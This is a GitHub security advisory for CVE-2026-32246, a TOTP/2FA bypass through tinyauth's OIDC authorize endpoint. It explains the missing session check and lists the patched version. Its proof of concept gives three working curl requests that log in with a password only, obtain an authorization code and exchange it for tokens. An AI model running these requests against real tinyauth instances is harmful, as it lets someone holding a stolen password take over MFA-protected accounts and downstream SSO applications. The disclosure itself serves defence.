Skip to content

Tinyauth vulnerable to TOTP/2FA bypass via OIDC authorize endpoint

High severity GitHub Reviewed Published Mar 11, 2026 in steveiliop56/tinyauth • Updated Mar 13, 2026

Package

gomod github.com/steveiliop56/tinyauth (Go)

Affected versions

< 1.0.1-20260311144920-9eb2d33064b7

Patched versions

1.0.1-20260311144920-9eb2d33064b7

Description

Summary

The OIDC authorization endpoint allows users with a TOTP-pending session (password verified, TOTP not yet completed) to obtain authorization codes. An attacker who knows a user's password but not their TOTP secret can obtain valid OIDC tokens, completely bypassing the second factor.

Details

When a user with TOTP enabled logs in at POST /api/user/login, the server creates a session with TotpPending: true and returns a session cookie. The context middleware (internal/middleware/context_middleware.go:56-66) correctly sets TotpPending: true and does not set IsLoggedIn for these sessions.

However, the OIDC authorize handler (internal/controller/oidc_controller.go:105-116) only checks whether a user context exists via utils.GetContext(c). It does not check IsLoggedIn or TotpPending. Since the context middleware populates a context for TOTP-pending sessions (with the username filled in), GetContext succeeds, and the handler proceeds to issue an authorization code at line 156 using the username from the incomplete session.

For comparison, the proxy controller (internal/controller/proxy_controller.go:176-179) correctly blocks TOTP-incomplete sessions by checking IsBasicAuth && TotpEnabled and setting IsLoggedIn = false. The OIDC authorize handler has no equivalent guard.

StoreCode at internal/service/oidc_service.go:305 saves the code with the victim's sub claim. The attacker then exchanges this code at POST /api/oidc/token for a valid access token and ID token.

PoC

Prerequisites: a tinyauth instance with at least one OIDC client configured and a local user with TOTP enabled.

Step 1 — Log in with password only (do not complete TOTP):

curl -c cookies.txt -X POST http://localhost:3000/api/user/login \
  -H "Content-Type: application/json" \
  -d '{"username":"totpuser","password":"totp123"}'

Response: {"message":"TOTP required","status":200,"totpPending":true}

Step 2 — Request an OIDC authorization code using the TOTP-pending cookie:

curl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \
  -H "Content-Type: application/json" \
  -d '{"client_id":"my-client-id","redirect_uri":"http://localhost:8080/callback","response_type":"code","scope":"openid","state":"test"}'

Response: {"redirect_uri":"http://localhost:8080/callback?code=<AUTH_CODE>&state=test","status":200}

Step 3 — Exchange the code for tokens:

curl -X POST http://localhost:3000/api/oidc/token \
  -u "my-client-id:my-client-secret" \
  -d "grant_type=authorization_code&code=<AUTH_CODE>&redirect_uri=http://localhost:8080/callback"

Response contains access_token, id_token, and refresh_token for the victim user. TOTP was never submitted.

Impact

Complete bypass of TOTP/MFA for any user account on any tinyauth instance that has OIDC clients configured. An attacker who has compromised a user's password (credential stuffing, phishing, database breach) can obtain SSO tokens for that user's identity without knowing the TOTP secret. This defeats the purpose of the second factor entirely. All downstream applications relying on tinyauth's OIDC provider for authentication are affected.

References

@steveiliop56 steveiliop56 published to steveiliop56/tinyauth Mar 11, 2026
Published to the GitHub Advisory Database Mar 12, 2026
Reviewed Mar 12, 2026
Published by the National Vulnerability Database Mar 12, 2026
Last updated Mar 13, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(15th percentile)

Weaknesses

Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Learn more on MITRE.

CVE ID

CVE-2026-32246

GHSA ID

GHSA-3q28-qjrv-qr39

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.